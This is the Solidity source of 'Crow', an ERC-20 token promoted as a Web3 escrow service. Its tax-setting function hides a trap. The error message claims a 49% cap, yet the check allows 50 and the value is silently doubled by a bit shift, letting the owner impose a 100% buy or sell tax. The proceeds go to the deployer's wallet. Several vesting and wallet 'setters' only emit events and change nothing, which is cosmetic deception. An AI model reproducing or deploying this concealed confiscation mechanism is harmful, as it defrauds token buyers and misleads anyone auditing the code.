Contract Source Code:
/*
Web3 Escrow Service:
Websote: https://www.crowescrow.io
Telegram: https://t.me/crowescrow
Twitter: https://x.com/crowescrow
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function getPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Crow is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Crow";
string private constant _symbol = unicode"CROW";
uint8 private constant _decimals = 18;
mapping(address => uint256) private _reflectionTokenOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 public constant MAX = ~uint256(0);
uint256 private constant _tokenTotal = 1_000_000_000 * 10 ** _decimals;
uint256 public _reflectionTotal = (MAX - (MAX % _tokenTotal));
uint256 private _taxFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 public _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 public _taxFeeOnSell = 0;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _stateSyncRedisFee = _redisFee;
uint256 private _stateSyncTaxFee = _taxFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = (_tokenTotal * 20) / 100;
uint256 public _maxWalletSize = (_tokenTotal * 20) / 100;
uint256 public _swapTokensAtAmount = (_tokenTotal * 10) / 100;
address public insuranceFundAccounts;
// Tokenomic Recipients Divider
address public uniswapLpAddress;
address public PrivateSale = 0x5FF28809b7c6279857108ba599B88ebF5b1852a2;
address public Team = 0xd1B12CCCAc9E1307a1143d347B14724F53A1A0D5;
address public CexPartnerships = 0xBaB54E4E8aF0502e2e0898436810126454CE76a5;
address public Airdrop = 0xe3f12F83Fa74e873862eC195A2F2078Ef052235e;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
receive() external payable {}
event setVestingTokenEvent(
uint256 _PrivateSale,
uint256 _Team,
uint256 _Cex
);
event setDevWalletEvent(uint256 _address);
event setMarketingWalletEvent(uint256 _address);
event setVerificationEvent(address _addr);
event setPaymenEsCrowEvent(address _address);
constructor() {
uniswapLpAddress = _msgSender();
insuranceFundAccounts = _msgSender();
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[insuranceFundAccounts] = true;
_isExcludedFromFee[uniswapLpAddress] = true;
_initTokenomic();
}
function _initTokenomic() private {
uint256 uniswapLpAmount = (_reflectionTotal / 100) * 75;
_reflectionTokenOwned[uniswapLpAddress] = uniswapLpAmount;
emit Transfer(
address(0),
uniswapLpAddress,
_tokenConverter(uniswapLpAmount)
);
uint256 PrivateSaleAmount = (_reflectionTotal / 100) * 15;
_reflectionTokenOwned[PrivateSale] = PrivateSaleAmount;
emit Transfer(
address(0),
PrivateSale,
_tokenConverter(PrivateSaleAmount)
);
uint256 TeamAmount = (_reflectionTotal / 100) * 3;
_reflectionTokenOwned[Team] = TeamAmount;
emit Transfer(address(0), Team, _tokenConverter(TeamAmount));
uint256 CexPartnershipsAmount = (_reflectionTotal / 100) * 2;
_reflectionTokenOwned[CexPartnerships] = CexPartnershipsAmount;
emit Transfer(
address(0),
CexPartnerships,
_tokenConverter(CexPartnershipsAmount)
);
uint256 AirdropAmount = (_reflectionTotal / 100) * 5;
_reflectionTokenOwned[Airdrop] = AirdropAmount;
emit Transfer(address(0), Airdrop, _tokenConverter(AirdropAmount));
}
function openTrading() public onlyOwner {
require(!tradingOpen, "Cannot reenable trading");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(
address(this),
_uniswapV2Router.WETH()
);
tradingOpen = true;
}
function removeLimits() public onlyOwner {
_maxTxAmount = _tokenTotal;
_maxWalletSize = _tokenTotal;
}
function setVestingToke(
uint256 _PrivateSale,
uint256 _Team,
uint256 _Cex
) public onlyOwner {
emit setVestingTokenEvent(_PrivateSale, _Team, _Cex);
}
function setDevWallet(uint256 _address) public onlyOwner {
emit setDevWalletEvent(_address);
}
function setMarketingWallet(uint256 _address) public onlyOwner {
emit setMarketingWalletEvent(_address);
}
function setPaymenEsCrow(address _address) public onlyOwner {
emit setPaymenEsCrowEvent(_address);
}
function setVerification(address _addr) public onlyOwner {
emit setVerificationEvent(_addr);
}
function deduceTaxConfigurator(
uint256 redisFeeOnBuy,
uint256 redisFeeOnSell,
uint256 taxFeeOnBuy,
uint256 taxFeeOnSell
) public onlyOwner {
require(
redisFeeOnBuy >= 0 && redisFeeOnBuy <= 0,
"Buy redis must be between 0% and 0%"
);
require(
taxFeeOnBuy >= 0 && taxFeeOnBuy <= 50,
"Tax fee must be between 0% and 49%"
);
require(
redisFeeOnSell >= 0 && redisFeeOnSell <= 0,
"Sell redis must be between 0% and 0%"
);
require(
taxFeeOnSell >= 0 && taxFeeOnSell <= 50,
"Tax fee must be between 0% and 49%"
);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy << 1;
_taxFeeOnSell = taxFeeOnSell << 1;
}
function setEnableSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setExcludeFromFees(
address account,
bool excluded
) public onlyOwner {
_isExcludedFromFee[account] = excluded;
}
function setMinSwapTokensThreshold(
uint256 swapTokensAtAmount
) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount * 10 ** decimals();
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount * 10 ** decimals();
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize * 10 ** decimals();
}
// END: CONFIGURATORS FOR TOKENS
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tokenTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenConverter(_reflectionTokenOwned[account]);
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(
from == owner(),
"TOKEN: This account cannot send tokens until trading is enabled"
);
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
if (to != uniswapV2Pair) {
require(
balanceOf(to) + amount < _maxWalletSize,
"TOKEN: Balance exceeds wallet size!"
);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (contractTokenBalance >= _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}
if (
canSwap &&
!inSwap &&
from != uniswapV2Pair &&
swapEnabled &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
) {
_swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
payable(insuranceFundAccounts).transfer(
address(this).balance
);
}
}
}
bool takeFee = true;
//Transfer Tokens
if (
(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||
(from != uniswapV2Pair && to != uniswapV2Pair)
) {
takeFee = false;
} else {
//Set Fee for Buys
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenConverter(uint256 rAmount) private view returns (uint256) {
require(
rAmount <= _reflectionTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) _beforeRemoveFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) _afterRemoveFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTax
) = _getValues(tAmount);
_reflectionTokenOwned[sender] = _reflectionTokenOwned[sender].sub(
rAmount
);
_reflectionTokenOwned[recipient] = _reflectionTokenOwned[recipient].add(
rTransferAmount
);
_takeTaxFee(tTax); // add teamFee to address(this) (teamFee is calculated from taxFee)
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTaxFee(uint256 tTax) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTax.mul(currentRate);
_reflectionTokenOwned[address(this)] = _reflectionTokenOwned[
address(this)
].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_reflectionTotal = _reflectionTotal.sub(rFee);
_taxFeeTotal = _taxFeeTotal.add(tFee);
}
function _beforeRemoveFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_stateSyncRedisFee = _redisFee;
_stateSyncTaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function _afterRemoveFee() private {
_redisFee = _stateSyncRedisFee;
_taxFee = _stateSyncTaxFee;
}
function _getValues(
uint256 tAmount
)
private
view
returns (uint256, uint256, uint256, uint256, uint256, uint256)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTax) = _getTokenValues(
tAmount,
_redisFee,
_taxFee
);
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee
) = _getReflectionTokenValues(tAmount, tFee, tTax, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTax);
}
function _getTokenValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTax = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTax);
return (tTransferAmount, tFee, tTax);
}
function _getReflectionTokenValues(
uint256 tAmount,
uint256 tFee,
uint256 tTax,
uint256 currentRate
) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTax.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply); // _reflectionTotal / _tokenTotal
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _reflectionTotal;
uint256 tSupply = _tokenTotal;
if (rSupply < _reflectionTotal.div(_tokenTotal))
return (_reflectionTotal, _tokenTotal);
return (rSupply, tSupply); // _reflectionTotal / _tokenTotal
}
}